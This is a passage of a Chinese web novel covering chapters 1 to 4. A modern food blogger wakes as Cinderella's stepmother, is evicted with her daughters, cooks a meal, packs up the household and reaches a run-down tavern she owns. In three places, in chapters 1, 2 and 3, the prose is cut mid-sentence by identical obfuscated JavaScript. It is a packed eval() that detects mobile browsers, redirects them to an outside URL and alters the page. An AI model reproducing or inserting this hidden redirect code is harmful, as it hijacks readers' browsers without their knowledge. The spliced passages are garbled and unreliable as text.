《穿进童话世界开饭馆》 1. 第 1 章 很久很久以前,巨人、矮人、精灵、魔法师共存的年代,有一个叫黑森的王国。 王国里有一个幸福小镇,镇上有一座带花园的大宅邸,住着一对夫妻和他们的三个女儿。 一天夜晚,漂亮宅邸里传出激烈争吵—— “听着,天亮之前必须离开。” “男主人说了,这是你们欺负辛德瑞拉应得的惩罚。” “另外,你们不能带走任何珠宝金银!” “上帝啊!我不信爸爸会赶我们走。”尖锐女声打断了管家的下文。 “这一定是个玩笑,我的宝石项链、礼服,我的高跟鞋……它们还属于我,对吗?”另一道惊叫紧随其后。 壁炉边的扶手椅上,丰腴美丽的女人虚弱睁眼,滞涩转动碧绿瞳孔,观察四周。 记忆接收了,洋人的瓜也吃明白了,尤兰达不甘地接受自己穿越了。 不是普通的穿越,而是穿书,并且穿成了大名鼎鼎的灰姑娘的恶毒继母。 睁眼速通大结局,即将迎来原著里为恶毒反派标定的凄惨下场,尤兰达整个人懵懵然。 尤兰达·费尔南多,这具身体的名字。 饿死、气死或低血糖发作,总之最后被她占了身体。 今天是灰姑娘和王子结婚的日子。 母女三人盛装前往皇宫参加婚宴,打算多结识些黄金单身汉,好将女儿们嫁出去。 她们欢欣雀跃的来到皇宫,等来了男主人拉斯穆斯·尼尔森派来管家,强行将她们遣返,夺走了她们身上佩戴的珠宝,并转达驱逐母女三人的决定。 理由自然是清算她们往日对辛德瑞拉的种种苛待。 不放在心上的亲生女儿成了王国尊贵的王妃,取之不尽的财富与权势唾手可得。 拉斯穆斯·尼尔森医学奇迹般耳清目明,立刻换上慈父脸,为辛德瑞拉主持迟来的公道,亲手惩处她的继母与继姐。 尤兰达望着眼前混乱的烂摊子,总结出四个字——天崩开局。 她的新人生,不出意外是要从这一地鸡毛中,正式开始了。 尤兰达揉了揉脑袋,试图结束争吵,一起身站定,女孩们像惊慌小鹿扑来。 “妈妈,你还好吗?爸爸对我们太残忍了。”大女儿西芙拉愤怒指责。 “妈妈,我们该去哪呢?我还能参加舞会吗?”小女儿菲奥娜对驱逐的严重性一知半解。 金发蓝眼、打扮花枝招展的少女们团团围住她,浓烈香水味迎面痛击,熏得尤兰达想割掉鼻子。 她偏转脑袋,视线挪向一侧的管家,“天亮之前?” 管家皮笑肉不笑:“是的。” 母女三人入夜前抵达皇宫,遣返回来时月亮正好升空,此时距离天亮有很长一段时间。 尤兰达:“小西,小菲,回房间,收拾你们的东西。” 大女儿西芙拉不放心:“我可怜的妈妈,你需要我和菲奥娜的陪伴。” 尤兰达快要融化了,便宜女儿怪贴心的。 别扭一会,她勉为其难接受自己多出两个女儿的设定,有气无力:“我啊,更需要续命。” 为了保持体态,母女三人节食半个月,婚宴当天直接粒米未进,尤兰达饿得恨不得啃自己两口。 支走女孩们,尤兰达顶着管家戒备瞪视径直奔去厨房,抱起一罐果酱连挖三勺塞进嘴里。 略等了等,低血糖症状缓解,饥饿感疯狂叫嚣,席卷感官。 尤兰达下意识睃巡厨房,想随便抓点什么应付一下胃酸,东摸一会西翻一会,她开始怀疑人生。 半锅麦粥黄黄绿绿,和掺了胆汁的呕吐物别无二致。 黑麦面包硬邦邦,切它比分尸难,闻着酸溜溜的,像过期了一辈子那么久。 好歹毒的黑暗料理! 为小命着想,尤兰达打起厨房未经料理的食材主意。 桌上备有火腿、培根、肉肠和鸡蛋。桌旁的蔬菜筐堆有土豆、胡萝卜、卷心菜、洋葱、豌豆、番茄等。 调味料最多,有粗盐、猪油、果酱、黄油、麦芽糖、芥末粉等,昂贵的蜂蜜、橄榄油、蔗糖块藏进抽屉里。 独具当地特色的咸肉酱、鹿肉酱装了一大罐。 所幸材料齐全,认识的不认识的一大堆,凑出一顿像样晚餐不难。 尤兰达支使厨娘帮忙削土豆皮胡萝卜皮、切洋葱丁,自己负责给火腿、肉肠、培根切丁。 厨娘慑于夫人往日淫威,犹犹豫豫地动起手,才找到合适工具、挑出土豆,旁边菜刀笃笃笃。 陌生动静传来,厨娘懵懵转头。 一抬眼,却看尤兰达握着菜刀舞出一片残影,眨眼工夫,案板上多出一堆小肉丁。 “上帝啊……” 她从未听说夫人有这一手,切出来的火腿丁大小竟然相差无几。 目瞪口呆之时,厨娘早忘了提醒火腿、肉肠等是为男主人准备的食材,尤兰达没资格享用。 一大块火腿、两根香肠切完,尤兰达熟悉了工具,速度逐渐加快,培根没一会也变成了刀下亡丁。 厨娘敬畏地捧上土豆、胡萝卜、洋葱,守在一旁准备看个仔细,看它们到底如何变成小方块。 尤兰达打散十枚鸡蛋加盐搅拌,放置一旁备用,见状厨娘闲下来,不客气地安排她抱柴给三个炉膛生火。 炖、煮、烤是当下流行的烹饪方式,煎炸炒的概念未能形成。 体现到生产工具上,就是大家使用的铁锅、陶锅整体偏厚实,想要锅热得等上一会。 等炉灶烧旺的同时,尤兰达趁机瞅了瞅厨娘的动作,偷学生火技巧。 三口铁锅齐上阵,一锅给豌豆焯水,一锅煸培根、香肠。 “滋啦滋啦”,随着油热,培根、香肠下锅瞬间激发出肉脂香气,别样风味引得厨娘无心看顾柴火。 简单炒两下盛出备用,留点底油放土豆丁胡萝卜丁翻炒断生,紧跟着加入火腿丁、培根丁、肉肠丁和豌豆。 粗盐咸度低,溶解慢,尤兰达尝过味道后,把调味步骤提前,多放了半勺进去,和洋葱丁一起炒。 看不见粗盐明显颗粒状态时,洋葱刚好炒软。 让厨娘调小火,尤兰达赶紧倒一半蛋液进去融合,又加了一勺鹿肉酱丰富口味。 出锅前,她没什么把握地尝了一口,砸吧砸吧嘴: 盐味微微发苦,好在鹿肉酱咸鲜,盖住瑕疵。 还行,凑合吃。 穿越前,尤兰达是纯血统中国人,出生于三线小城。大学毕业当起美食博主,没几年踩上风口攒够本金,重启了父母的私厨餐厅。 店铺开业在即,她整理后厨、调试设备、核验食材、设计菜单……起早贪黑连轴转忙了大半个月。 正式营业前一天,尤兰达准备了伴手礼,邀请死忠铁粉们聚餐,以表感谢。 谁知备菜到一半,低血糖的老毛病犯了。 她来不及翻包拿出软糖,身体一晃向后栽倒,后脑撞上桌角,尖锐的剧痛只持续一瞬,黑暗吞噬一切。 到底怎么死的,尤兰达自己都说不清。 可惜她斥巨资买下的设备和优质食材了。 收回思绪,尤兰达挥舞勺子盛出无米蛋炒饭。 厨娘不认为自己忽略了什么,可那一锅叫不上名字的食物就这么出锅了,金黄喷香,油润光亮。 她凑近狠狠吸了一口气,口腔不由自主地分泌津液。 真香啊。 不多时,第三口锅烧热了,尤兰达吩咐厨娘倒橄榄油,油热下番茄炒出汁。 厨娘慢半拍回神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200977|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌手慌脚按照她意思去做,一边笨拙地翻炒番茄,一边偷瞥餐盘里堆成小山的无米蛋炒饭。 太奇妙了,她从来没见过有人这样烹饪! 厨娘回想尤兰达进厨房后所有的稀奇操作,发出真诚赞叹,可除了流畅好看之外,她一样没看懂。 无米蛋炒饭出锅没多久,一锅热气腾腾、红黄相间的番茄蛋花汤也好了。 真好看,也不知道是什么味…… 厨娘搅弄着菜汤,疯狂吞咽唾沫,不敢相信它是从自己手里诞生。 有饭有汤,这条命算续成了,恰好尤兰达体力所剩无几,身上冷汗涔涔。 她不敢逞强,吩咐厨娘继续把炉灶烧旺,洗出几颗土豆鸡蛋扔进第二口锅,就着焯豌豆的水煮熟它们。 这一锅是留给母女三人的干粮,确保她们找到新的落脚点前不会饿死在路上。 无米蛋炒饭分成三份,蛋花汤分出三大碗,端上餐桌没一会,女儿们拖拖沓沓跑下楼,心痛嚎叫。 “妈妈,我选不出来!”西芙拉埋进一条缀满珍珠的塔夫绸裙子里,“每一条裙子我都不能放弃……我们再去求求爸爸好不好?” “我的帽子是新做的,”小女儿菲奥娜抱着一顶宽檐帽,帽檐上的羽毛颤巍巍抖动,“而我只能选择它们其中几顶,这太为难我了,妈妈!” 一连声的“妈妈”叫得尤兰达头皮发麻,喘口气,扫过两人精挑细选的华丽礼服裙,沉默了片刻。 “先吃饭,我会想办法。” 两个女孩极为信赖老母亲,闻言立刻停止哭嚎,看向餐桌。 西芙拉耸动鼻子嗅了嗅,“它们可真……特别。” 尤兰达没空解释,着急续命。 她一屁股坐下,刚举起勺子,一阵窒息袭来。 该死的束腰! 原身习惯了束腰的存在,站着没太多感觉,一坐下简直要勒断肋骨。 尤兰达找出剪子带回房间,吩咐女仆直接剪掉束腰背后的系带。 女仆一边剪,一边不停地惊呼“上帝啊上帝啊”,她全当没听见。 束腰啪一下落地,换上宽松轻便的长裙,尤兰达原地复活。她长长地、贪婪地吸了一口气,快步下楼。 “你们……” 餐桌前,两个女孩狼吞虎咽,一下子消灭了一小半的份量。 乍一瞧见新奇食物,两人抱着试毒心态先尝了一口,只一口,她们的味蕾彻底臣服。 这和她们以往吃过的食物完全不在一个档次。 尤兰达抽了抽嘴角,她真以为俩狠人的胃有奇特构造呢。 母女三人排排坐,埋头干饭,神情专注而满足。 “咕咕——咕——” 餐厅响起打雷般的动静。 女仆、厨娘和管家,三人交换一下眼神,尴尬地按住肚子。 奇怪,以前的他们也没这么嘴馋过啊。 管家清清嗓子,试图挽回颜面:“三位,容我提醒,你们的时间不多了。” 尤兰达的身体经不住暴饮暴食,吃到七分饱,气力逐渐充盈四肢后便遗憾停下。 “听说,拉斯穆斯不允许我们带走金银珠宝?”她抬头扫过管家等人。 管家:“正是。” 尤兰达微笑:“没有说过不允许带走衣服鞋子吗?” 管家:“没有。” “也没有说过不允许带走被子毯子吗?” 管家不耐烦,她的疑问可真多,“没有。” “如此,想必你的主人也一定没有说过,不允许我们驾走马车,对吧?” 管家倏然回过味来,半张着嘴说不出话。 尤兰达笑意加深,提起裙摆,踏上楼梯。 “我会谨遵他的吩咐,请上来监督吧,管家先生。” 2. 第 2 章 “哦——我的上帝啊!” 管家呆立尤兰达的卧室门口,发出震惊低呼。 厨娘和女仆瞪圆眼睛,望着屋内乱糟糟的景象。 以尤兰达为主的母女三人,像闯进富豪宝库的盗贼。 她们拆了天鹅绒窗帘,平铺地毯上,转身把亚麻衬衣、丝绸长裙、细棉睡袍……所有春夏季衣物一股脑抱出衣柜,尽数扔上去。 堆放完毕,尤兰达拽着窗帘布两角,一裹一掖再一滚,最后用几根丝带拧成的绳子扎紧前后两端,活脱脱一条“香肠”。 秋冬季的羊毛裙子厚实衣衫,以及昂贵的皮毛大衣等,全部叠放在两抬大皮箱里,她们通通搬出来,打算连箱子一起带走。 料理好衣物,尤兰达扯下第二块窗帘布,瞄准床品。 保暖的皮毡、厚重的毛毯、亚麻被、丝绸被、蓬松的棉花被与枕头……一样不落。 挂毯、地毯,春夏冬三个季节的床幔也没忘记。 挂毯能抵挡石墙的阴冷,地毯铺地能有效防止室内温度流失,精致漂亮的床幔能防蚊虫,也能进一步防风保暖。 看似装饰物,放在当下时代背景里,实则是不可或缺的必需品。 根据原身零碎的记忆,她们所处的黑森王国冬季严寒漫长,且来得极早。 眼下是八月盛夏不错,最多一个半月后,寒冬便会降临。重新置办防寒衣物和生活用品时间紧迫不说,花费资金甚巨。 “强盗!你们是被男主人驱逐出尼尔森家的,没资格带走它们。” 管家回过神后,急得跺脚,拦在房间中央,声音因愤怒而拔高。 尤兰达仗着原身高挑身材,撞开碍事的管家,神情冷漠凶恶:“贵重珠宝我们一件没拿,不是吗?” 是,贵重珠宝一件没拿,其他东西一件不落。 管家阻止不了她的行为,又挑不出她话里毛病,气得胡子直翘。 母女三人浑身散发不好惹的气势,吓得女仆和厨娘也不敢触霉头,偌大的宅邸任她们来去自如。 不一会,铜烛台、白蜡烛、化妆品、清洁护理用品、锡盆锡桶,茶壶茶杯……见缝插针地塞进了藤编行李箱。 这下,房间是真的搬空了。 管家拍着大腿长长叹气。 他毫不怀疑,但凡四柱床和衣柜不是太过庞大,母女三人一定会搬走它们。 尤兰达清点过行李数量,拍拍手,领着满脸崇拜神情的女儿们,气势汹汹地转战隔壁西芙拉的卧室。 她一声令下,女儿们撸起裙摆开干,这里也很快搬空。 轮到菲奥娜的房间时,大家无需指挥,默契动手。 虽然两个娇生惯养的女儿总是忙不了一会就嚷嚷着歇息,好歹收拾完了。 “要帮你们抬走吗?” 管家眼不见为净的祷告片刻,阴阳怪气开口。 尤兰达:“谢谢,你的帮助太及时了。不过我们需要另外收拾一些东西。” “已经没有你们应该带走的东西了。”管家连忙侧身挡住男主人的卧室入口。 尤兰达瞥去嫌弃目光,谁要臭男人的东西。 多亏夫妻俩分房睡,否则一屋子的私人物品,起码要丢一半。 她吩咐女仆多找了几个藤编箱,在大厅地毯上一字排开。 然后,尤兰达的碧绿眼眸雷达探照灯一样扫射宅子。 “小西,把斗柜上的银镜放进去,杂物间剩下的蜡烛都要了。” “小天平和小沙漏别忘记,各一套就好。” “小菲,去庭院把柴刀和斧头装进去,那是我上个月新买的。” “餐具拿三套,刀叉勺子别落下,蜂蜜酒装进餐篮里。” “新买的布匹呢?都拿走。” 最后,尤兰达转向厨房。 尼尔森做香料生意,虽然货仓不在家里,但自家使用调味料并不吝啬,除了金贵的胡椒,差不多各品种齐备,绝对不容错过。 轮到自己被抄家,厨娘天塌了,冲上去阻拦时,两位小姐狠狠推开她不准许靠近。 她眼睁睁看着尤兰达连吃带拿。 刀具和案板就算了,香料、调味料一个不放过,连藏进陶缸深处的培根、肉肠,挂在梁上的咸肉、火腿,橱柜储存的小麦粉、土豆、白面包、嫩玉米……一并翻找出来。 天呐,她收走了男主人新买的、招待贵客的葡萄酒! 管家呼哧呼哧喘气,训斥她们太过分。 厨娘望着找不出一粒小麦的厨房,急得团团转。 尤兰达抚摸满当当的五个大野餐篮,十分满足。 “管家先生,我想它们可比不上珠宝贵重,对吗?” 西芙拉开团秒跟,截断管家话头:“当然了,我的好妈妈,它们怎么能和珠宝比。” 菲奥娜挤进来,捧起一陶罐,“妈妈,我想要草莓酱。” 尤兰达硬是从满溢的野餐篮里扒出一点空间,塞进一罐草莓酱。 “这下该满足了吧,尤兰达夫人。” 管家死死盯着母女三人脚边堆放的一袋袋食材,咬牙切齿。 尤兰达没有回答,缓缓搜寻。 下一刻,她的视线锁定厨房门边的墙壁上,双眸发出锃亮光芒。 竟然有一串细长饱满、颜色鲜红,半截手指大小的鲜辣椒! 当地人习惯用辣椒暖胃驱寒或观赏,因和药沾边,价格称不上便宜。 尤兰达当即翻出空陶罐,摘下全部辣椒塞进去。 心满意足准备离开,她眼角余光又瞥见了灶台上的三口大铁锅,和备用的陶锅铜锅铜盆等,脚步顿住。 “我保证是最后一样了,管家先生。”她微微笑,手指灶台方向。 厨娘一个踉跄,差点摔倒。 上帝啊,请您千万不要保佑尤兰达夫人! 铁锅铜锅属于重要家庭资产,管家坚决不松口。 尤兰达:“它们是我的嫁妆,你们无权扣留。” 原身出自商人家庭,陪嫁的物品以实用、体面为主。 体面,指丝绸、布匹、皮毛、金银首饰、女仆一类。 实用,则指铁锅、铜锅、银餐具、家具、马车等。 卧室里那张尤兰达无比惋惜的实木大床,和铁锅一样,同属于原身的嫁妆之一。 原身带来的香料、布匹,早已在多年的婚姻生活里消耗殆尽,她们收拾出来的所有家当价值不及嫁妆一半。 管家恍恍惚惚想起,似乎……确实如此。 尤兰达嫁妆颇丰,继承第一任丈夫的遗产后更有钱了。 带着两个女儿嫁入日渐式微的尼尔森家后,又不能离,只好用私产填补夫家窟窿,维持中产的体面,稀里糊涂过了许多年。 近一两年,家中仆人的薪水都是家中女主人发放的呢。 管家像漏气的球,飞快瘪了下去,反对声戛然而止。 趁他踌躇,尤兰达重返厨房大扫荡,地窖翻个底朝天,睡不安生的老鼠吱吱溜走。 深夜,皮箱藤箱依次搬进车厢,衣物被子杂物等塞进车顶与车后的行李架。 粮食蔬菜用麻布袋扎紧,悬挂外侧栏杆固定,整架马车找不到一丝空隙。 多亏了商人家庭必备的载人载货两用马车,她们得以带走所有物资。 尤兰达最后检查一遍捆绑的绳索,坐上车架,牵起缰绳。 “帮我转告拉斯穆斯:想讨好辛德瑞拉,惩罚我们固然直接,难道他就毫无责任吗?” “他最好每天祈祷,希望辛德瑞拉不会意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200978|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到,她过往的苦难少不了父亲刻意纵容的默许。” 灰姑娘的故事里,开头就让所有读者相信:灰姑娘因生母教导而生性温驯纯良,以至于对继母的苛待逆来顺受。 然而细思,亲爹的袖手旁观在叙事中被悄然隐去,从头到尾毫无存在感,也无人提及,摘得干干净净。 灰姑娘多年来忍受继母刻薄慢待,从未寻求过亲爹庇护。 王子举办舞会,她宁愿和继母争取机会,也不曾向血脉相连的亲爹求助。 年轻女孩爱美爱打扮天性使然,两个姐姐张口要珠宝华服做礼物,属于情理之中。 对比之下,年纪最小的灰姑娘十分“懂事”,只要随处可见的树枝,值得细品。 要尤兰达来说,哪有天生懂事的小孩,不过是早在一次次失望中学会了什么叫“开口也是枉然”。 置身事外的既得利益者拉斯穆斯,不见得比原身高尚,至少在对待灰姑娘这件事上,两人半斤八两。 “最后,请替我们谢谢拉斯穆斯的慷慨。”尤兰达瞄一眼身后的一大车,“我们决定搬去霍格沃茨定居,假如他对我们的行为有异议,随时欢迎他来算账。” 话落,尤兰达手腕一抖,软鞭咻一下抽上马屁股。 马车吱呀前行,载着母女三人的所有家当,叮铃哐啷奔赴新生活。 “你们听说过霍格沃茨吗?” 马车融入夜色,眨眼工夫不见踪影,厨娘扭头问出大家心声。 管家耸肩摊手,谁知道呢。 三人折回厅堂,对着昏暗的、光秃秃的宅子,齐齐露出忧愁神情。 难以置信,怎么能连筛子\扫帚\水桶都不留! 管家这时注意到橡木长桌上的残羹冷炙,目光定住:“你确定,这些都是尤兰达亲手做的食物?” 他向上帝发誓,尤兰达嫁进尼尔森家后进厨房的次数屈指可数,也从未听说她擅长烹饪。 天知道看着母女三人进食的时候,他有多想尝一尝。 厨娘连说带比划,倒豆子一样讲述尤兰达如何让食材们乖乖听话变成丁。 管家和女仆听得直惊叹,情不自禁凑到桌边。 “好香……” “我看到了培根。” “不对,你一定骗我了,土豆不长这样。” 三颗脑袋沉默了一阵,不知道谁先动的手,他们捏起一撮无米蛋炒饭放进嘴里。 下一秒,三双琥珀色瞳仁齐刷刷圆瞪,惊为天菜。 - 月上中天,装扮华贵的马车摇晃驶来,停在宅邸庭院入口。 不一会,马夫费力搀扶醉意醺醺的主人走下车架。 管家听到动静,擦擦嘴角,整整衣袖,急忙出门迎接。 “主人,不好了,夫人和……” 拉斯穆斯打了个酒嗝,挥手打断:“她们不肯走对吗?好吧,我早知道会是这样。 告诉尤兰达,想讨好我和新王妃,她们必须付出些‘诚意’。” 管家吞吐片刻,把话说完:“不,主人,她们走了。” 拉斯穆斯反应一会,絮絮叨叨:“好吧,她们不会知道自己错过了多少,我保证她们会后悔,不出几天就要来求我。 想想看,很快就是冬天了,要知道可是冬天会杀人的,除了善良的尼尔森家,没人愿意收留她们。” 踉踉跄跄走出去几步,他想起什么,问:“她们没带走我的珠宝和金银吧?” 管家垂下脑袋,声线发虚:“谨遵主人吩咐,没有。” 拉斯穆斯很满意,迈步走进大门。 当他借着烛光和月光,看清像是被盗贼劫掠过的家,揉了揉眼。 “但是……除金银珠宝外,尤兰达夫人搬走了所有其他物品。” 3. 第 3 章 皎洁月光照亮蜿蜒土路,两侧树林传来老鸦凄厉鸣叫。 山风迎面吹拂,西芙拉、菲奥娜一激灵,她们真的离开生活多年的尼尔森家了。 “妈妈,霍格沃茨在哪里?它很远吗?”西芙拉神情不安。 尤兰达:“很远很远,不过我们不去那。” 菲奥娜皱起脸:“那我们去哪?我舍不得伊索拉和老约翰。他们总能做出我喜欢的漂亮裙子和鞋子。” 脱离幸福小镇熟悉的人事物,开启一段全新的未知生活,恐慌、迷茫的情绪汹涌袭来,女孩们无措地紧挨着。 她们能去哪呢? 母女三人可选择的退路少得可怜,这也能理解,为什么原身得知被驱逐后会活活气晕。 原身父母早逝,姐妹远嫁,兄弟继承商队走南闯北,居无定所,一家兄弟姐妹一年到头见不了几次面,投靠亲友不现实。 再盘点原身所有资产,十之八九全填了尼尔森家的窟窿,手上还剩一间闲置的铺子,是第一任丈夫留下的遗产。 尤兰达翻遍记忆,只有那间闲置铺子能容下她们。 那是一间酒馆,因地段不错总能顺利租出去赚取租金,原身没舍得卖掉,瞒着丈夫悄悄留下。 半年前,一场大风袭来,皇城一大半房屋遭难,所有使用茅草和木板混搭的屋顶几乎全被大风掀飞。 恰逢皇城市议厅换新管理官,从消防安全考虑,趁机要求皇城所有商铺、工坊必须换成陶瓦片才准许经营。 原身手里拮据,换瓦的事一拖再拖,酒馆老板不得不终止租赁,搬去别处。 尤兰达穿来之前,原身已经联系了掮客,准备卖掉它给女儿们攒嫁妆,苦于找不到合适买家。 “去我们的新家。没有新裙子、没有大房间,也没有女仆和厨娘,但有一样十分珍贵的宝贝。” 两个女儿闪亮着蓝眼睛望过来。 尤兰达:“我们有自由。” 西芙拉和菲奥娜面面相觑,对抽象的词汇似懂非懂。 “自由……好吧,我还是喜欢丝绸裙子。” 菲奥娜耸肩,小声和姐姐嘀咕,西芙拉扯了扯嘴角回应,以表赞同。 尤兰达不再解释,牵紧缰绳,专心操控不太听话的马车。 “嘿!伙计,走平坦的路。” “上帝啊,千万别把我们带进沟里,否则我会狠狠抽你的屁股。” 原身的驾车经验不多,尤兰达一边努力回忆,一边笨拙模仿。不确定是翻译腔起作用了,还是威胁更有效,吆喝半天后,车架稳当许多。 折腾一晚上,情绪大起大落,姐妹俩困倦不已,脑袋一点一点。 车厢无法容纳她们,两人可怜兮兮缩在门边,互相依靠着打盹。 尤兰达感受林间夜风,即便盛夏,温度也不高,体感20度左右。 她解下身上的亚麻斗篷,横着盖刚好遮住母女三人。可不能生病,会死人的。 黑森王国和她了解的中世纪欧洲有几分相似,比如治病靠放血这一点,一治一个不吱声。 因为死人不能吱声。 通常来说,不治或许有机会自愈,治了百分百重新开局,撒旦来了都要五体投地说承让。 这么一想,她穿越后见到的每一个人,命都挺硬。 马蹄哒哒,车架嘎吱作响,尤兰达随着颠簸东摇西晃,胡思乱想中,大脑越发清醒。 身侧的女孩们熟睡,她轻手轻脚地掏出裙摆内侧的羊皮小包。 拆床幔时从夹层里找到的,指尖一接触小包,属于原身的模糊记忆倏然清晰,她不动声色地收起。 借着月光,尤兰达小心翼翼打开小包,趁着空闲清点原身的私房钱。 5枚边缘轻微磨损银币,360枚色泽暗淡的铜币,15个指甲盖大小的铜分,和四把不知用在何处的黄铜钥匙,别无其他。 黑森王国及周边数十个国家货币互通,常用货币分为金、银、铜三种。 兑换关系是:10铜分兑换1铜币,100铜币兑换1银币,100银币兑换1枚金币。 8银币61铜币不出意外是原身所有现金积蓄了,和二婚前的经济状况做对比,只能说惨不忍睹。 尤兰达尝试过借收拾家当捞一点现钱,东翻西找一无所获才醒悟过来,拉斯穆斯防着原身呢。 珠宝金银早转移了出去,连母女三人参加宴会佩戴的首饰,都由管家第一时间收走,不给她们钻半点空子。 尤兰达越想越后悔,后悔没掀了陶瓦一起打包装车。 她揣好羊皮小包,感叹前路艰难。 连烧火柴都要花钱买的时代,这点钱实在不经用,想指望它们钱生钱得费点脑细胞。 穿来前她每天烦的是吃什么喝什么,下期拍摄主题选什么。 让体验过财务自由的人,重新过回捉襟见肘的日子,太玩心态了。 “……系统?” 呼呼风声中,尤兰达试探着开口。 “系统大人,您吱一声呗?”她竖起耳朵捕捉所谓的电子音、机械音。 寂静无声。 这年头穿书不流行配系统了吗? 行吧,自己动手,丰衣足食。 马车向深蓝的夜幕行驶,车架吱呀吱呀,混着锅碗瓢盆叮叮咚咚的碰撞。 天色将亮未亮时,她们穿过森林,正式踏入王室领地,道路两旁依稀可见村镇和田地的轮廓。 “当——当——当——” 浑厚悠远的钟声从坐落于村镇的修道院钟楼传来,惊起了夜栖的鸟雀,扑棱棱飞过她们头顶。 尤兰达打了个呵欠,活动僵硬的筋骨。 原身的生活常识告诉她,这是每日晨间“赞祷”的钟声,提醒修士可以祷告了。 没有钟表的时代,家家户户依靠修道院、教堂的钟声来判断时间,清晨4点的赞祷钟声同时也向大家宣告新一天的开始,该起床当牛马了。 尤兰达粗略估算,晨祷(凌晨2点)后出发,到目前她们在路上花了大约一个半小时。 尼尔森家所居住的幸福小镇属于伯爵领,因税率比王室领地低,吸引了许多商队定居做生意,偶尔去皇城大市集采买。 镇子与皇城虽分属不同领地,从实际距离来算其实并不远。之所以一个半小时还未抵达目的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200979|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,有尤兰达出于夜间行驶的谨慎,和她对驾车的不熟练,以及中途走错路的因素。 尤兰达默默祈祷,希望酒馆的隔音效果足够好,她可不想天不亮被闹钟叫醒。 马车前行了一、二里左右,黑森王国皇城高耸的城门隐约可见,路上推着小车、挎着篮子的行人增多,向城门方向汇集。 顺利进入皇城,最先映入眼帘的是宽阔的主干道,道路两旁挨挨挤挤地矗立着两三层高的房舍,大多是下店上宅的格局,外墙色彩缤纷明快。 每一条街区都建有一个由鹅卵石铺就的小广场,广场中央要么立着雕像,要么挖了喷泉,教堂规律分布于街头巷尾。 稀奇的是,街上商铺、住宅门前大都栽种了绿植鲜花,路上鲜少见到人类排泄物,偶有牛马、骡子骆驼粪便散落犄角旮旯处等着清粪工处理。 果然是童话世界,真正的中世纪城镇绝对没这么干净。 街上行人不算多,男男女女赶着去上工、做买卖,步履匆忙。尤兰达格外小心驾车,避开来往行人,凭着原身模糊的记忆寻找她们的落脚点。 当初时祷(清晨六点)的钟声伴随太阳升起,马车兜兜转转半天,停在贝壳街上一条叫“矮人巷”的巷子口。 矮人巷和其他街巷略有不同,建筑风格更粗犷,没有鲜艳的外墙。 一条约四米宽的清澈溪流硬生生将巷子劈开,分出南北两街,由三座小石桥连接。 岸边,两排房舍面水而建,中间夹着一条两米来宽的石板小路,马车通行略显局促,行人来往绰绰有余。 尤兰达眨了眨眼,险些以为自己闯入某个古镇老街。 道路太窄,她跳下车牵着马拐进巷子。只要找到巷子口枝繁叶茂的大橡树,距离她们的落脚点就不远了。 小酒馆紧邻橡树,是矮人巷北街的第一间店铺,距离主街尤为近。 正面看,酒馆的店铺和宅院全由砖石混搭,二楼开了一排小窗,三楼一半搭建阁楼,一半做露天平台。 而此刻,铺子的屋顶光秃秃,一根茅草不剩,木质房梁暴露阳光下。 目光挪向店门左侧,旁边约四、五米处开了一扇院门,大门紧锁。 尤兰达透过缝隙探查,门后有木板搭建的车马棚,粗略估计能塞下两架马车,容纳四匹马,深处有小门通往后院。 确定是自家的院子,她摸了摸院门上挂着的黄铜锁,鬼使神差地摸出羊皮小包,取出黄铜钥匙。 果然,其中一把刚好插进锁孔,手腕轻轻一拧锁头便弹开。 尤兰达推开院子大门,拽着马车停进车库。 “妈妈,这是什么地方,好破哦……我们要住这里吗?”西芙拉揉着惺忪睡眼,茫然环顾周围。 太小了,连个像样的花园都没有。 菲奥娜迷迷糊糊睁眼,看清眼前景象的下一秒,脸上露出了和西芙拉如出一辙的嫌弃与惊吓。 “妈妈,我想我还没睡醒,对吗?” 尤兰达栓好缰绳,推开车马棚通往后院的栅栏门,朝两人招了招手,打破她们最后的幻想。 “来吧,姑娘们,进来看看我们的新家。” 4. 第 4 章 酒馆坐北朝南,典型的前店后坊格局院落。 从车马棚的栅栏门进去,有一条宽敞过道,左转通向后院,右手边有一扇通往店铺的后门。 尤兰达先去看店铺。 一推开后门,积攒的灰尘,劈头盖脸飞落,呛得她们打了几个喷嚏。 西芙拉和菲奥娜掩住口鼻惊叫跑走,打死不愿跟上。尤兰达无奈,略等了等,自行进去查看。 后门连接厨房,一个四十多平的长方形空间。 厨房采光全靠临街的粗石墙上开出的大窗户,白色窗纱滤出昏朦柔和的光,倒映矮人巷来往的人影。 走进厨房,左手边靠墙砌有拱形砖窑炉,加上晾放区,单独占据厨房一处角落。 带烟道的灶台有四口,灶台旁隔出一平方空间堆放木柴、引燃物。 